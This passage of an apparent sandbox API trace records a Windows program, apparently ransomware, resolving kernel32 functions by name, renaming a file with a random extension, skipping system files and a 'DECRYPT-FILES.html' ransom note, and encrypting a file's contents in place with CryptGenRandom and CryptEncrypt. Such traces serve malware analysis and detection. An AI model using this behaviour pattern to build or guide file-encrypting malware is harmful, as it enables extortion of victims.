returned="CompareCalendarDates" [0103.260] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0103.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0103.260] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0103.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0103.260] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0103.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0103.260] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0103.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0103.260] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0103.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0103.260] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0103.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0103.260] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0103.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0103.260] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0103.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0103.260] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0103.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0103.260] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0103.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0103.260] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0103.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0103.260] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0103.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0103.260] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0103.260] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0103.261] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0103.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0103.261] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0103.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0103.261] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0103.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0103.261] lstrlenA (lpString="COPYCONTEXT") returned 11 [0103.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0103.261] lstrlenA (lpString="COPYFILE2") returned 9 [0103.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0103.261] lstrlenA (lpString="COPYFILEA") returned 9 [0103.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0103.261] lstrlenA (lpString="COPYFILEEXA") returned 11 [0103.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0103.261] lstrlenA (lpString="COPYFILEEXW") returned 11 [0103.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0103.261] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0103.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0103.261] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0103.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0103.261] lstrlenA (lpString="COPYFILEW") returned 9 [0103.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0103.261] lstrlenA (lpString="COPYLZFILE") returned 10 [0103.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0103.261] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0103.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0103.261] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0103.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0103.261] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0103.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0103.262] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0103.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0103.262] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0103.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0103.262] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0103.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0103.262] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0103.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0103.262] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0103.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0103.262] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0103.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0103.262] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0103.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0103.262] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0103.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0103.262] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0103.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0103.262] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0103.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0103.262] lstrlenA (lpString="CREATEEVENTA") returned 12 [0103.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0103.262] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0103.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0103.262] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0103.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0103.262] lstrlenA (lpString="CREATEEVENTW") returned 12 [0103.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0103.263] lstrlenA (lpString="CREATEFIBER") returned 11 [0103.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0103.263] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0103.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0103.263] lstrlenA (lpString="CREATEFILE2") returned 11 [0103.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0103.263] lstrlenA (lpString="CREATEFILEA") returned 11 [0103.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0103.263] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0103.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0103.263] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0103.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0103.263] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0103.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0103.263] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0103.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0103.263] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0103.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0103.263] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0103.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0103.263] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0103.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0103.263] lstrlenA (lpString="CREATEFILEW") returned 11 [0103.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0103.263] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0103.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0103.263] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0103.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0103.264] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0103.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0103.264] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0103.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0103.264] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0103.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0103.264] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0103.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0103.264] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0103.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0103.264] lstrlenA (lpString="CREATEJOBSET") returned 12 [0103.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0103.264] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0103.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0103.264] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0103.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0103.264] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0103.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0103.264] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0103.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0103.264] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0103.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0103.264] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0103.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0103.264] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0103.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0103.264] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0103.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0103.265] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0103.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0103.265] lstrlenA (lpString="CREATEPIPE") returned 10 [0103.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0103.265] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0103.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0103.265] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0103.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0103.265] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0103.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0103.265] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0103.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0103.265] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0103.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0103.265] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0103.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0103.265] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0103.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0103.265] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0103.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0103.265] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0103.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0103.265] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0103.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0103.265] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0103.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0103.265] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0103.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0103.265] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0103.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0103.265] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0103.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0103.266] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0103.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0103.266] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0103.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0103.266] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0103.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0103.266] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0103.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0103.266] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0103.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0103.266] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0103.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0103.266] lstrlenA (lpString="CREATETHREAD") returned 12 [0103.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0103.266] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0103.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0103.266] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0103.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0103.266] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0103.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0103.266] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0103.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0103.267] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0103.267] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0103.267] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0103.267] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0103.267] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0103.267] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0103.267] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.5uPL") returned 45 [0103.267] MoveFileExW (lpExistingFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), lpNewFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.5uPL" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.5upl"), dwFlags=0x0) returned 1 [0103.268] VirtualFree (lpAddress=0x3b80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0103.268] VirtualFree (lpAddress=0x3b90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0103.269] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0103.269] FindNextFileW (in: hFindFile=0x6bbdf0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x7b76, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1 [0103.269] lstrcmpiW (lpString1="GetCurrentRollback.ini", lpString2="DECRYPT-FILES.html") returned 1 [0103.269] lstrcmpiW (lpString1="GetCurrentRollback.ini", lpString2="autorun.inf") returned 1 [0103.269] lstrcmpiW (lpString1="GetCurrentRollback.ini", lpString2="boot.ini") returned 1 [0103.269] lstrcmpiW (lpString1="GetCurrentRollback.ini", lpString2="desktop.ini") returned 1 [0103.269] lstrcmpiW (lpString1="GetCurrentRollback.ini", lpString2="ntuser.dat") returned -1 [0103.269] lstrcmpiW (lpString1="GetCurrentRollback.ini", lpString2="iconcache.db") returned -1 [0103.270] lstrcmpiW (lpString1="GetCurrentRollback.ini", lpString2="bootsect.bak") returned 1 [0103.270] lstrcmpiW (lpString1="GetCurrentRollback.ini", lpString2="ntuser.dat.log") returned -1 [0103.270] lstrcmpiW (lpString1="GetCurrentRollback.ini", lpString2="thumbs.db") returned -1 [0103.270] lstrcmpiW (lpString1="GetCurrentRollback.ini", lpString2="Bootfont.bin") returned 1 [0103.270] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\") returned 22 [0103.270] lstrlenW (lpString="GetCurrentRollback.ini") returned 22 [0103.270] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\$GetCurrent\\SafeOS\\" | out: lpString1="C:\\$GetCurrent\\SafeOS\\") returned="C:\\$GetCurrent\\SafeOS\\" [0103.270] lstrcatW (in: lpString1="C:\\$GetCurrent\\SafeOS\\", lpString2="GetCurrentRollback.ini" | out: lpString1="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" [0103.270] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0103.270] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0106.669] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=156) returned 1 [0106.669] CreateFileMappingW (hFile=0x53c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x540 [0106.669] MapViewOfFile (hFileMappingObject=0x540, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3b70000 [0106.671] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x3000000 | out: pbBuffer=0x3000000) returned 1 [0106.671] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x3000020 | out: pbBuffer=0x3000020) returned 1 [0106.671] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x3b80000 [0106.672] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3b80000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x3b80000*, pdwDataLen=0x38be718*=0x100) returned 1 [0106.672] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x3b90000 [0106.673] VirtualFree (lpAddress=0x3b90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.673] UnmapViewOfFile (lpBaseAddress=0x3b70000) returned 1 [0106.673] CloseHandle (hObject=0x540) returned 1 [0106.673] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.673] WriteFile (in: hFile=0x53c, lpBuffer=0x3b80000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x3b80000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0106.674] CloseHandle (hObject=0x0) returned 0 [0106.674] CloseHandle (hObject=0x53c) returned 1 [0106.679] VirtualFree (lpAddress=0x3b80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.680] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.680] GetTickCount () returned 0x302df [0106.680] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0106.680] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0106.680] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3b70000 [0106.681] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x3b80000 [0106.681] lstrlenA (lpString="kernel32.dll") returned 12 [0106.681] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0106.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" 